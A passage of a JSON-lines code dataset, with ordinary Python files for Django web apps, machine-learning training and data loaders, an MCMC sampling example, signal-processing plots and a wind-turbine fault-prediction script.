print(config.format(\n uri=uri, \n bitrate=bitrate, \n outstream_port=outstream_port,\n batch=batch,\n width=width,\n height=height,\n latency=latency\n ))\n\n with open(\"../config_infer_primary_Openpose.txt\", mode = \"a\") as f:\n f.write(\n config2.format(\n uri=uri, \n bitrate=bitrate, \n outstream_port=outstream_port,\n batch=batch,\n width=width,\n height=height,\n latency=latency\n )\n )\n print(config2.format(\n uri=uri, \n bitrate=bitrate, \n outstream_port=outstream_port,\n batch=batch,\n width=width,\n height=height,\n latency=latency\n ))\n ","sub_path":"DeepStream_RTSP/Openpose/python/generate_config.py","file_name":"generate_config.py","file_ext":"py","file_size_in_byte":3556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"625278222","text":"# _*_ coding: utf-8 _*_\n\"\"\"\n Created by Alimazing on 2018/7/3.\n\"\"\"\n__author__ = 'Alimazing'\n\n\nclass Student():\n\tsum = 0\n\tname = 'Student'\n\tage = 0\n\tschool = '学军中学'\n\n\tdef __init__(self, name, age):\n\t\tself.name = name\n\t\tself.age = age\n\t\tself.__score = 0\n\t\tStudent.sum += 1\n\t\tprint('__init__')\n\n\n\tdef palce(self, school):\n\t\tself.school = school\n\n\tdef marking(self, score):\n\t\tself._score = score\n\n\tdef show(self):\n\t\tprint('分数:', self.__score)\n\n\tdef __pri(self):\n\t\tprint('private method')\n\n\t@classmethod\n\tdef cm(cls):\n\t\tprint('类方法:', cls.name)\n\n\ns1 = Student('s1_haha', 11)\nprint(s1.name, s1.age)\n\n# 如果没有「自定义的实例变量」,self直接使用类变量\ns2 = Student('s2_hehe', 12)\nprint(s2.name, s2.age, s2.school)\n\n# self的变量,是动态增加的\ns3 = Student('s3_hihi', 13)\ns3.palce('s3_中学')\ns3.lover = '小红'\ns3.__score = 13\ns3.show()\nprint(s3.name, s3.age, s3.school, s3.lover)\nprint(s3.__dict__)\nprint('****'*10)\n\nprint(Student.name, Student.age, Student.school)\n#Output: Student 0 学军中学\n\nprint('****'*10)\n\nprint(s1.__dict__)\nprint(Student.__dict__)\n\ns1.cm()\nprint('学生总数:', Student.sum)\n\nprint('****'*10)\n","sub_path":"test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"109685450","text":"# -*- coding: utf-8 -*-\n\"\"\"\nURLConf for Django user profile.\n\n\"\"\"\n\nfrom django.conf.urls import patterns, url\n\nurlpatterns = patterns('profiles.views',\n\n # Show profile.\n url(r'^$', 'show', \n name='profile-show'),\n\n # Edit profile info.\n url(r'^edit/$', 'edit', \n name='profile-edit'),\n)\n\n\"\"\"\n # Upload photo\n url(r'^edit/photo/$', 'photo_edit', \n name='profile-photo_edit'),\n\n # Delete photo\n url(r'^edit/photo/delete/(?P\\d+)/$', 'photo_delete', \n name='profile-photo_delete'),\n\n # Show photo in profile\n url(r'^edit/photo/set/(?P\\d+)/$', 'photo_set_main', \n name='profile-photo_set_main'),\n\n # Links to other (internet) profiles.\n url(r'^edit/links/$', 'links', \n name='profile-links'),\n \n url(r'^edit/links/delete/(?P\\w+)/(?P\\d+)/$', 'links_delete', \n name='profile-links_delete'),\n\n # Email notifications.\n url(r'^notifications/$', 'notifications', \n name='profile-notifications'),\n\n # Define visibility.\n #url(r'^privacy/$', 'privacy, \n # name='profile-privacy'),\n\n\nurlpatterns += patterns('django.contrib.auth.views',\n ### Change password\n url(r'^password/change/$', 'password_change', \n {'template_name': 'password_change_form.html'},\n name='profile-password_change'),\n\n url(r'^password/change/done/$', 'password_change_done',\n {'template_name': 'password_change_done.html'},\n name='profile-password_change_done'),\n\n)\n\"\"\"","sub_path":"openmate/apps/profiles/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"63835374","text":"import requests\nimport json\nfrom riskmodel.sql import insert_userbase\n\n\ndef get_tongdun_res(l):\n '''\n :param name:\n :param phone:\n :param id_num:\n :return:\n '''\n send_url = '''\n https://api.tongdun.cn/bodyguard/apply/v4.5?partner_code=s%&partner_key=%s&app_name=s%\n '''\n headers = {'content-type': 'application/x-www-form-urlencoded'}\n r = requests.post(send_url, data={'account_name': l[0],\n 'account_mobile': l[1],\n 'id_number': l[2]}, headers=headers)\n\n result = json.loads(r.text)\n print(result)\n return result","sub_path":"riskmodel/tongdun.py","file_name":"tongdun.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"564595152","text":"import datetime\nimport json\n\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.db import transaction\nfrom django.utils.text import slugify\n\nfrom establishment.blog.models import BlogEntry\nfrom establishment.content.models import Article\nfrom establishment.errors.errors import BaseError\nfrom establishment.webapp.base_views import ajax_required, superuser_required, single_page_app\nfrom establishment.webapp.state import State\n\nBLOG_FETCH_CHUNK = 5\n\n\ndef get_blog_state(request):\n blog_posts = BlogEntry.objects.order_by(\"-article__date_created\").prefetch_related(\"article\")\n\n if not request.user.is_superuser:\n blog_posts = blog_posts.filter(visible=True)\n\n if request.is_ajax() and \"lastDate\" in request.GET:\n last_date = datetime.datetime.fromtimestamp(float(request.GET[\"lastDate\"]))\n blog_posts = blog_posts.filter(article__date_created__lt=last_date)\n\n blog_posts = blog_posts[:(BLOG_FETCH_CHUNK + 1)]\n\n state = State()\n\n for blog_post in blog_posts[:BLOG_FETCH_CHUNK]:\n blog_post.add_to_state(state)\n\n return state, (len(blog_posts) <= BLOG_FETCH_CHUNK)\n\n\ndef get_blogpost(request):\n try:\n blog_post = BlogEntry.objects.get(url_name=str(request.GET[\"entryUrlName\"]))\n if not blog_post.visible and not request.user.is_superuser:\n return BaseError.NOT_ALLOWED\n except ObjectDoesNotExist:\n return BaseError.OBJECT_NOT_FOUND\n state = State()\n state.add(blog_post)\n state.add(blog_post.article)\n return state\n\n\n@single_page_app\ndef blog(request):\n state, finished_loading = get_blog_state(request)\n return state.to_response({\"finishedLoading\": finished_loading})\n\n\n@ajax_required\n@superuser_required\ndef add_entry(request):\n title = request.POST.get(\"title\", \"Unnamed entry\" + str(datetime.datetime.now()))\n url_name = request.POST.get(\"urlName\", slugify(title))\n is_visible = json.loads(request.POST.get(\"isVisible\", \"false\"))\n\n article = Article(author_created=request.user, name=title)\n\n if \"content\" in request.POST:\n article.markup = request.POST[\"content\"]\n\n with transaction.atomic():\n article.save()\n entry = BlogEntry.objects.create(url_name=url_name, article=article, visible=is_visible)\n\n state = State()\n entry.add_to_state(state)\n return state.to_response({\"blogEntryId\": entry.id})\n\n\n@ajax_required\n@superuser_required\ndef change_entry_settings(request):\n response = {}\n\n entry_id = int(request.POST.get(\"entryId\"))\n\n entry = BlogEntry.objects.get(id=entry_id)\n article = entry.article\n\n if \"title\" in request.POST:\n # TODO: use an article.set_name() method\n article.name = request.POST[\"title\"]\n article.save()\n\n if \"urlName\" in request.POST:\n url_name = request.POST[\"urlName\"]\n entry.url_name = url_name\n response[\"urlName\"] = url_name\n\n is_visible = json.loads(request.POST.get(\"isVisible\", \"false\"))\n entry.visible = is_visible\n entry.save()\n\n return response\n\n\n@ajax_required\n@superuser_required\ndef create_entry_discussion(request):\n entry_id = int(request.POST[\"entryId\"])\n entry = BlogEntry.objects.get(id=entry_id)\n entry.create_discussion()\n entry.save()\n return State(entry)\n\n\ndef latest_blog_state():\n blog_entries = BlogEntry.objects.filter(visible=True, discussion__isnull=False)\\\n .order_by(\"-discussion__message_thread__last_activity\")\\\n .prefetch_related(\"article\", \"discussion\", \"discussion__message_thread\")[:5]\n\n state = State()\n for blog_entry in blog_entries:\n blog_entry.add_to_state(state)\n return state\n","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"13391090","text":"import os\nimport sys\nfrom PIL import Image\nimport torch\nimport numpy as np\nimport pandas as pd\nfrom torch.utils.data import DataLoader, Dataset\n\nATTR_TO_IX_DICT = {'Sideburns': 30, 'Black_Hair': 8, 'Wavy_Hair': 33, 'Young': 39, 'Heavy_Makeup': 18, \n 'Blond_Hair': 9, 'Attractive': 2, '5_o_Clock_Shadow': 0, 'Wearing_Necktie': 38, \n 'Blurry': 10, 'Double_Chin': 14, 'Brown_Hair': 11, 'Mouth_Slightly_Open': 21, \n 'Goatee': 16, 'Bald': 4, 'Pointy_Nose': 27, 'Gray_Hair': 17, 'Pale_Skin': 26, \n 'Arched_Eyebrows': 1, 'Wearing_Hat': 35, 'Receding_Hairline': 28, 'Straight_Hair': 32, \n 'Big_Nose': 7, 'Rosy_Cheeks': 29, 'Oval_Face': 25, 'Bangs': 5, 'Male': 20, 'Mustache': 22, \n 'High_Cheekbones': 19, 'No_Beard': 24, 'Eyeglasses': 15, 'Bags_Under_Eyes': 3, \n 'Wearing_Necklace': 37, 'Wearing_Lipstick': 36, 'Big_Lips': 6, 'Narrow_Eyes': 23, \n 'Chubby': 13, 'Smiling': 31, 'Bushy_Eyebrows': 12, 'Wearing_Earrings': 34}\n\nATTR_IX_TO_KEEP = [4, 5, 8, 9, 11, 12, 15, 17, 18, 20, 21, 22, 26, 28, 31, 32, 33, 35]\nIX_TO_ATTR_DICT = {v:k for k, v in ATTR_TO_IX_DICT.items()}\nN_ATTRS = len(ATTR_IX_TO_KEEP)\n\ndf_attr = pd.read_csv(\"../data/dataframes/df_attr.csv\")\n\ndef get_attr(img_name):\n df_attr_img = df_attr[df_attr.img_name == img_name]\n attr = df_attr_img.values[0, 1:]\n attr = np.array(attr).astype(int)\n attr[attr < 0] = 0\n attr = torch.from_numpy(attr).float()\n return attr[ATTR_IX_TO_KEEP]\n\ndef tensor_to_attributes(tensor):\n \"\"\"Use this for the .\n @param tensor: PyTorch Tensor\n D dimensional tensor\n @return attributes: list of strings\n \"\"\"\n attrs = []\n n = tensor.size(0)\n tensor = torch.round(tensor)\n \n for i in range(n):\n if tensor[i] > 0.5:\n attr = IX_TO_ATTR_DICT[ATTR_IX_TO_KEEP[i]]\n attrs.append(attr)\n return attrs\n\nclass FaceData_with_Attributes(Dataset):\n def __init__(self, img_names, img_path, image_transform=None, attr_transform=None):\n \n self.img_path = img_path\n self.img_names = img_names\n\n self.size = int(len(img_names))\n\n self.image_transform = image_transform\n self.attr_transform = attr_transform\n\n def __len__(self):\n return len(self.img_name)\n\n def __getitem__(self, index):\n\n # attr\n attr = get_attr(self.img_names[index])\n\n if self.attr_transform is not None:\n attr = self.attr_transform(attr)\n\n # img \n img_path = os.path.join(self.img_path, self.img_names[index])\n\n img = Image.open(img_path)\n img = img.resize((256, 256), Image.ANTIALIAS)\n img = img.crop((32, 32, 224, 224))\n img = img.resize((64, 64), Image.ANTIALIAS)\n if self.image_transform is not None:\n img = self.image_transform(img)\n\n img = np.array(img)\n\n return img.transpose(2, 0, 1) / 255., attr\n# return img, attr\n\n def __len__(self):\n return self.size","sub_path":"attr_classifier/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":3111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"110405414","text":"import json\r\nimport random\r\nimport numpy as np\r\nfrom tqdm import tqdm\r\nfrom pathlib import Path\r\nfrom datetime import datetime\r\n\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nplt.style.use('seaborn')\r\n\r\nimport torch\r\nfrom torch import nn\r\nfrom torch.nn import functional as F\r\nfrom torchvision.utils import save_image\r\nfrom torch.utils.data import Subset, ConcatDataset, DataLoader\r\nfrom torchvision.transforms import functional as tf\r\n\r\n# For reproducibility\r\n# Set before loading model and dataset UNCHANGED\r\nseed = 999\r\nrandom.seed(seed)\r\nnp.random.seed(seed)\r\ntorch.manual_seed(seed)\r\ntorch.backends.cudnn.deterministic = True\r\n\r\n# Load data UNCHANGED\r\ntrain_set = CCPD5000('./ccpd5000/train/')\r\nvalid_set = CCPD5000('./ccpd5000/valid/')\r\nvisul_set = ConcatDataset([\r\n Subset(train_set, random.sample(range(len(train_set)), 32)),\r\n Subset(valid_set, random.sample(range(len(valid_set)), 32)),\r\n])\r\ntrain_loader = DataLoader(train_set, 32, shuffle=True, num_workers=3)\r\nvalid_loader = DataLoader(valid_set, 32, shuffle=False, num_workers=1)\r\nvisul_loader = DataLoader(visul_set, 32, shuffle=False, num_workers=1)\r\n\r\ndevice = 'cuda'\r\nmodel = CCPDRegressor()\r\nmodel = model.to(device)\r\ncriterion = nn.MSELoss()\r\ncriterion = criterion.to(device)\r\noptimizer = torch.optim.Adam(model.parameters(), lr=2e-4)\r\n#device = 'cuda'\r\n#model = CCPDRegressor().to(device)\r\n#criterion = nn.MSELoss().to(device)\r\n#optimizer = torch.optim.Adam(model.parameters(), lr=1e-4)\r\n\r\n# Log record UNCHANGED\r\nlog_dir = Path('./log/') / f'{datetime.now():%Y.%m.%d-%H:%M:%S}'\r\nlog_dir.mkdir(parents=True)\r\nprint(log_dir)\r\nhistory = {\r\n 'train_mae': [],\r\n 'valid_mae': [],\r\n 'train_mse': [],\r\n 'valid_mse': [],\r\n}\r\n\r\n\r\n# train\r\ndef train(pbar):\r\n model.train() # train mode\r\n mae_steps = []\r\n mse_steps = []\r\n\r\n for image, ground_truth in iter(train_loader):\r\n image = image.to(device)\r\n ground_truth = ground_truth.to(device)\r\n\r\n optimizer.zero_grad()\r\n predict = model(image)\r\n loss = criterion(predict, ground_truth)\r\n loss.backward()\r\n optimizer.step()\r\n\r\n mae = F.l1_loss(predict, ground_truth).item()\r\n mse = F.mse_loss(predict, ground_truth).item()\r\n\r\n # UNCHANGED\r\n mae_steps.append(mae)\r\n mse_steps.append(mse)\r\n\r\n pbar.set_postfix(mae=mae, mse=mse)\r\n pbar.update(image.size(0))\r\n avg_mae = sum(mae_steps) / len(mae_steps)\r\n avg_mse = sum(mse_steps) / len(mse_steps)\r\n pbar.set_postfix(avg_mae=f'{avg_mae:.5f}', avg_mse=f'{avg_mse:.5f}')\r\n history['train_mae'].append(avg_mae)\r\n history['train_mse'].append(avg_mse)\r\n\r\n'''def train(pbar):\r\n model.train()\r\n mae_steps = []\r\n mse_steps = []\r\n\r\n for img_b, kpt_b in iter(train_loader):\r\n img_b = img_b.to(device)\r\n kpt_b = kpt_b.to(device)\r\n\r\n optimizer.zero_grad()\r\n pred_b = model(img_b)\r\n loss = criterion(pred_b, kpt_b)\r\n loss.backward()\r\n optimizer.step()\r\n\r\n mae = loss.detach().item()\r\n mse = F.mse_loss(pred_b.detach(), kpt_b.detach()).item()\r\n mae_steps.append(mae)\r\n mse_steps.append(mse)\r\n\r\n pbar.set_postfix(mae=mae, mse=mse)\r\n pbar.update(img_b.size(0))\r\n\r\n avg_mae = sum(mae_steps) / len(mae_steps)\r\n avg_mse = sum(mse_steps) / len(mse_steps)\r\n pbar.set_postfix(avg_mae=f'{avg_mae:.5f}', avg_mse=f'{avg_mse:.5f}')\r\n history['train_mae'].append(avg_mae)\r\n history['train_mse'].append(avg_mse)\r\n'''\r\n\r\ndef valid(pbar):\r\n model.eval() # evaluation mode\r\n mae_steps = []\r\n mse_steps = []\r\n\r\n for image, ground_truth in iter(valid_loader):\r\n image = image.to(device)\r\n ground_truth = ground_truth.to(device)\r\n predict = model(image)\r\n loss = criterion(predict, ground_truth)\r\n\r\n mae = F.l1_loss(predict, ground_truth).item()\r\n mse = F.mse_loss(predict, ground_truth).item()\r\n # UNCHANGED\r\n mae_steps.append(mae)\r\n mse_steps.append(mse)\r\n\r\n pbar.set_postfix(mae=mae, mse=mse)\r\n pbar.update(image.size(0))\r\n\r\n avg_mae = sum(mae_steps) / len(mae_steps)\r\n avg_mse = sum(mse_steps) / len(mse_steps)\r\n pbar.set_postfix(avg_mae=f'{avg_mae:.5f}', avg_mse=f'{avg_mse:.5f}')\r\n history['valid_mae'].append(avg_mae)\r\n history['valid_mse'].append(avg_mse)\r\n'''\r\ndef valid(pbar):\r\n model.eval()\r\n mae_steps = []\r\n mse_steps = []\r\n\r\n for img_b, kpt_b in iter(valid_loader):\r\n img_b = img_b.to(device)\r\n kpt_b = kpt_b.to(device)\r\n pred_b = model(img_b)\r\n loss = criterion(pred_b, kpt_b)\r\n mae = loss.detach().item()\r\n\r\n mse = F.mse_loss(pred_b.detach(), kpt_b.detach()).item()\r\n mae_steps.append(mae)\r\n mse_steps.append(mse)\r\n\r\n pbar.set_postfix(mae=mae, mse=mse)\r\n pbar.update(img_b.size(0))\r\n\r\n avg_mae = sum(mae_steps) / len(mae_steps)\r\n avg_mse = sum(mse_steps) / len(mse_steps)\r\n pbar.set_postfix(avg_mae=f'{avg_mae:.5f}', avg_mse=f'{avg_mse:.5f}')\r\n history['valid_mae'].append(avg_mae)\r\n history['valid_mse'].append(avg_mse)\r\n'''\r\n\r\n# Visualization UNCHANGED\r\ndef visul(pbar, epoch):\r\n model.eval()\r\n epoch_dir = log_dir / f'{epoch:03d}'\r\n epoch_dir.mkdir()\r\n for img_b, kpt_b in iter(visul_loader):\r\n pred_b = model(img_b.to(device)).cpu()\r\n for img, pred_kpt, true_kpt in zip(img_b, pred_b, kpt_b):\r\n img = tf.to_pil_image(img)\r\n vis = draw_plate(img, pred_kpt)\r\n vis = draw_kpts(vis, true_kpt, c='orange')\r\n vis = draw_kpts(vis, pred_kpt, c='red')\r\n vis.save(epoch_dir / f'{pbar.n:03d}.jpg')\r\n pbar.update()\r\n\r\n# log record UNCHANGED\r\ndef log(epoch):\r\n with (log_dir / 'metrics.json').open('w') as f:\r\n json.dump(history, f)\r\n\r\n fig, ax = plt.subplots(2, 1, figsize=(6, 6), dpi=100)\r\n ax[0].set_title('MAE')\r\n ax[0].plot(range(epoch + 1), history['train_mae'], label='Train')\r\n ax[0].plot(range(epoch + 1), history['valid_mae'], label='Valid')\r\n ax[0].legend()\r\n ax[1].set_title('MSE')\r\n ax[1].plot(range(epoch + 1), history['train_mse'], label='Train')\r\n ax[1].plot(range(epoch + 1), history['valid_mse'], label='Valid')\r\n ax[1].legend()\r\n fig.savefig(str(log_dir / 'metrics.jpg'))\r\n plt.close()\r\n\r\n\r\n# train epoch setting UNCHANGED\r\nfor epoch in range(30):\r\n print('Epoch', epoch, flush=True)\r\n with tqdm(total=len(train_set), desc=' Train') as pbar:\r\n train(pbar)\r\n\r\n with torch.no_grad():\r\n with tqdm(total=len(valid_set), desc=' Valid') as pbar:\r\n valid(pbar)\r\n with tqdm(total=len(visul_set), desc=' Visul') as pbar:\r\n visul(pbar, epoch)\r\n log(epoch)","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"162506053","text":"class Car():\n maxpeople = 5\n maxspeed = 300\n def start(self):\n print('차가 출발할였습니다.')\n def stop(self):\n print('차가 멈췄습니다.')\n \nclass HybridCar(Car):\n battery = 100\n batteryKM = 300\n\nk3 = Car()\nprint(k3.maxspeed)\nk3.start()\nprint(type(k3))\nprint(dir(k3))\nhyk3 = HybridCar()\nprint(hyk3.maxspeed)","sub_path":"master/lecture/023.py","file_name":"023.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"567147691","text":"#!/usr/bin/env python3\n\nimport numpy as np\nimport emcee\nimport sys\nimport time\n\n# Add statement to import a pool of workers\nfrom emcee.utils import MPIPool\n\n#\n# Class for a Multidimensional-Gaussian distribution\n#\nclass gaussian_md:\n\n def __init__(self, means, cov):\n self.mu = means\n self.icov = np.linalg.inv(cov)\n\n #\n # This function should return log(Prob) = -Chisq/2 upto a additive constant\n # For a Gaussian distribution this will be -1/2.(x-mu)^T Cinv (x-mu)\n #\n def lnprob(self, x):\n Delta = (x-self.mu)\n # Test a slow calculation by introducing a sleep command\n # time.sleep(0.1)\n return -np.dot(Delta, np.dot(self.icov, Delta))/2.0\n\n # Get a emcee sampler with the object\n def getsampler(self, nwalkers, ndim):\n return emcee.EnsembleSampler(nwalkers, ndim, self.lnprob, args=[])\n\nif __name__ == \"__main__\":\n\n # Add in a MPI pool of workers\n pool = MPIPool()\n if not pool.is_master():\n pool.wait()\n sys.exit(0)\n\n\n # Initialize random number seed\n np.random.seed(10)\n\n # Define number of dimensions\n ndim = 5\n \n # Define random means and some covariance (first just a diagonal covariance)\n means = np.random.rand(ndim) * 5.0\n cov = np.diag(np.linspace(5.0, 10.0, ndim))\n\n aa = gaussian_md(means, cov)\n\n # Initialize tons of walkers\n nwalkers = 320\n p0 = np.random.rand(ndim * nwalkers).reshape((nwalkers, ndim))\n\n # Initialize the sampler\n sampler = aa.getsampler(nwalkers, ndim)\n\n # Perform an initial burn-in phase, clear out the sampler, but store the\n # final locations in pos, the value of lnprob and random number state\n pos, prob, state = sampler.run_mcmc(p0, 100)\n sampler.reset()\n\n Nsamples = 1000\n sampler.run_mcmc(pos, Nsamples)\n\n # Now the sampler will have chain values store in sampler.flatchain, let us first see their shape\n print(\"Shape of sampler.chain\", np.shape(sampler.chain))\n print(\"Shape of sampler.flatchain\", np.shape(sampler.flatchain))\n\n pool.close()\n '''\n import matplotlib.pyplot as pl\n import corner\n\n for i in range(ndim):\n ax = pl.subplot(3, 3, i+1)\n ax.hist(sampler.flatchain[:,i], 100, color=\"k\", histtype=\"step\")\n ax.axvline(aa.mu[i])\n\n pl.savefig(\"Distributions.png\")\n pl.clf()\n\n for i in range(ndim):\n ax = pl.subplot(3, 3, i+1)\n ax.plot(np.arange(Nsamples), sampler.chain[0, :,i])\n ax.axhline(aa.mu[i], color=\"k\")\n\n pl.savefig(\"Chains.png\")\n\n fig = corner.corner(sampler.chain.reshape(-1, ndim))\n fig.savefig(\"Triangle.png\")\n '''\n","sub_path":"mpi_code.py","file_name":"mpi_code.py","file_ext":"py","file_size_in_byte":2621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"112379966","text":"import matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\n\n\ndef example_qpo(time, amp, imfs, ifreq, iamp):\n plt.subplot(221)\n plt.plot(time, amp)\n plt.ylabel('4-Hz QPO X-ray Light Curve (cts/s)')\n plt.subplot(222)\n plt.plot(time, ifreq)\n plt.ylabel('Instantaneous frequency (Hz)')\n plt.subplot(223)\n plt.plot(time, imfs)\n plt.ylabel('IMF c4')\n plt.xlabel('Time (s)')\n plt.subplot(224)\n plt.plot(time, iamp)\n plt.ylabel(r'Instantaneous amplitude (cts/s)')\n plt.xlabel('Time (s)')\n plt.show()\n\n\ndef example_lena(filename, imfs):\n img = mpimg.imread(filename)\n plt.subplot(231)\n plt.imshow(img)\n plt.title('Original image', fontsize=10)\n plt.subplot(232)\n plt.title('IMF c1', fontsize=10)\n plt.imshow(imfs[:, :, 0], cmap=\"Greys_r\")\n plt.subplot(233)\n plt.title('IMF c2', fontsize=10)\n plt.imshow(imfs[:, :, 1], cmap=\"Greys_r\")\n plt.subplot(234)\n plt.title('IMF c3', fontsize=10)\n plt.imshow(imfs[:, :, 2], cmap=\"Greys_r\")\n plt.subplot(235)\n plt.title('IMF c4', fontsize=10)\n plt.imshow(imfs[:, :, 3], cmap=\"Greys_r\")\n plt.subplot(236)\n plt.title('IMF c5', fontsize=10)\n plt.imshow(imfs[:, :, 4], cmap=\"Greys_r\")\n plt.show()\n","sub_path":"HHTplots.py","file_name":"HHTplots.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"500973211","text":"from rest_framework.serializers import (\n\tModelSerializer,\n\tHyperlinkedIdentityField,\n\tSerializerMethodField,\n\tStringRelatedField\n\t)\n\nfrom rest_framework import serializers\n\n\nfrom user_profile.models import Profile,AccessOperation\n# from snippet.models import Snippet\n\nfrom operation.api.serializers import OperationSerializer\n\n# userprofile_detail_url = HyperlinkedIdentityField(\n# view_name='profile-api:detail',\n# lookup_field = 'pk'\n# )\n\nclass ProfileSerializer(serializers.ModelSerializer):\n class Meta:\n model = Profile\n fields = ['user','department','title','url','status']\n\n\n\nclass UserAccessListSerializer(serializers.ModelSerializer):\n operation = OperationSerializer(many=False,read_only=True)\n class Meta:\n model = AccessOperation\n fields = ['profile','operation']\n\n\n\n\n\n\n\n# class UserDetailSerializer(serializers.ModelSerializer):\n# accessoperation_set = UserAccessListSerializer(many=True, read_only=True)\n# class Meta:\n# model = Profile\n# fields = ('user','department','title','accessoperation_set')\n\n# class ProfileListSerializer(serializers.ModelSerializer):\n# # url = userprofile_detail_url\n# class Meta:\n# model = Profile\n# fields = ('user','department','title')\n\n","sub_path":"wmp/user_profile/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"477559675","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@Statement: Sorry for this shit code\n@Time : 2020/5/16 10:18\n@Author : Jarvis\n\"\"\"\nfrom main_code.gen_logger import get_logger\nfrom main_code.data_base import get_train_task_info, get_predict_task_info, check_time, update_status, \\\n rm_version\nfrom main_code.data_processing import process_retrain_data, process_predict_data, get_site_and_type\nfrom main_code.training import train_model\nimport argparse\nimport datetime\n\n\ndef train(task_key, info_list, site, type_, logger):\n \"\"\"执行预测任务时,首先基于基础版本进行训练得到一个临时版本,然后根据此临时版本\n 进行预测\"\"\"\n pred_start_time = info_list[2]\n # 选取预测任务的数据开始时间的前150天的数据为训练数据\n time_interval = datetime.timedelta(days=150)\n train_start_time = info[11]\n train_end_time = info[12]\n if not info[11] and not info[12]:\n train_start_time = pred_start_time - time_interval\n train_end_time = pred_start_time\n train_info = [None, None, 1, train_start_time, train_end_time, None, info_list[6],\n info_list[7], info_list[8]]\n fault_data = check_time(train_info[3], train_info[4], train_info[6])\n if not fault_data:\n logger.warning(f\"当前时间范围内,{train_info[6]}风场的数据没有故障记录!\")\n flag1 = process_retrain_data(task_id, train_info, site, type_, logger, fault_data)\n if flag1 == 1:\n return train_model(task_key, train_info, logger)\n\n\ndef get_site_type(info1, pro):\n site_id, type_id, wtg_id = info1[6:9]\n if not site_id:\n logger.info(\"未指定风场,默认计算该省份下所有的风场\")\n site_id_list = None\n else:\n site_id_list = list(site_id.split(','))\n logger.info(f\"指定了风场,共{len(site_id_list)}个\")\n if not type_id:\n logger.info('未指定机型,对该风场下所有的风机进行训练')\n type_id_list = None\n else:\n type_id_list = list(type_id.split(','))\n logger.info(f\"指定了机型,共{len(type_id_list)}种\")\n\n logger.info(\"将风场与对应型号进行匹配...\")\n site_type = get_site_and_type(pro, site_id_list, type_id_list)\n logger.info(\"匹配完成\")\n if not site_type:\n logger.info(\"当前省份风场无可用机型\")\n return 0\n logger.info(f\"实际共需计算{len(site_type)}个风场\")\n return site_type\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--train', type=str, help='指定任务的id用于训练')\n parser.add_argument('--predict', type=str, help='指定任务的id用于预测')\n parser.add_argument('--rm-version', type=int, help='删除指定的版本')\n\n args = parser.parse_args()\n # 重训练任务不再单独被调用\n\n # if args.predict:\n # 模型预测\n task_id = args.predict\n # task_id = '38d7077f-845a-4beb-b3d4-cb6a6d4f3d31'\n logger = get_logger(task_id)\n info = get_predict_task_info(task_id, logger)\n # info = [模型名称,模型的版本号,预测数据集的开始时间,预测数据集的终���时间,观察窗口(天),最低故障次数,风场id,\n # 机型id,风机id, 模型版本的id, 省份,训练数据集的开始时间,训练数据集的终止时间]\n if not info:\n logger.warning('无法执行预测任务!')\n logger.warning('状态重置!')\n update_status(task_id, 2)\n else:\n province_id_list = info[10].split(',')\n for pro in province_id_list:\n site_types = get_site_type(info, pro)\n if site_types == 0:\n logger.error(\"处理风机数据出错\")\n logger.info(\"状态重置\")\n update_status(task_id, 2)\n else:\n for site in site_types:\n for type1 in site_types[site]:\n # 预测前先执行训练任务\n logger.info(f\"当前计算{pro}省份/{site}风场/{type1}机型...\")\n train_res = train(task_id, info, site, type1, logger)\n if train_res: # 生成了临时模型\n logger.info('成功生成临时模型')\n else: # 未生成临时模型,则用基础模型预测\n logger.info('未生成临时模型,调用基础模型')\n flag = process_predict_data(task_id, info, site, type1, logger, train_res)\n if flag == 3:\n update_status(task_id, 3)\n elif flag:\n update_status(task_id, 2)\n else:\n logger.error(\"处理风机数据出错\")\n logger.info(\"状态重置\")\n update_status(task_id, 2)\n\n logger.info(f\"风场'{site}'预测任务结束\")\n logger.info('Complete!')\n\n\n","sub_path":"base_run.py","file_name":"base_run.py","file_ext":"py","file_size_in_byte":5008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"620827192","text":"from django.test import TestCase\nfrom .models import Empresa\nfrom .views import registrar\nfrom django.shortcuts import render\nfrom django.test.client import Client\nfrom django.core.urlresolvers import reverse\n \n\n# Create your tests here.\nimport unittest\n\n\nclass TestStringMethods(unittest.TestCase):\n\n\tdef test_Modelo(self):\n\t\t\"\"\"\n\t\t\tProbando insercciones de la base de datos.\n\t\t\"\"\"\n\t\temp = Empresa(nombre=\"Maracena\",calificacion=\"-1\")\n\t\temp.save()\n\n\t\temp2 = 